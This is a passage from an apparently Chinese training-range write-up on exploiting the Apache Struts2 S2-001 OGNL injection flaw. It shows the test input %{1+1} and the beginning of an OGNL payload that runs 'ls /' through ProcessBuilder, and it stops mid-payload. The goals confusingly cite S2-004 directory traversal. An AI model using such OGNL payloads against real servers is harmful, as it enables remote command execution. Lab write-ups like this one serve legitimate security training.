题目
背景介绍
某日,安全工程师"墨者"对一单位业务系统进行授权扫描,在扫描过程中,发现了某个业务系统使用Apache Struts2框架。不知道运维人员是否修补了漏洞。
实训目标
1、了解Apache Struts2框架;
2、了解Apache Struts2目录遍历漏洞(S2-004);
3、了解Apache Struts2目录遍历漏洞利用方法;
解题方向
验证Apache Struts2目录遍历漏洞(S2-001)。
解题步骤
启动靶场,打开链接访问,是一个信息显示页面。
底下有个S2-001的参考链接,去欣赏一下。
可以看出漏洞原理: 用户提交表单时,后端会将OGNL表达式%{value}进行解析。
输入%{1+1}测试一下,被执行了,漏洞存在。
那接下来执行ls/命令,查看文件情况。
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{
"ls","/"}))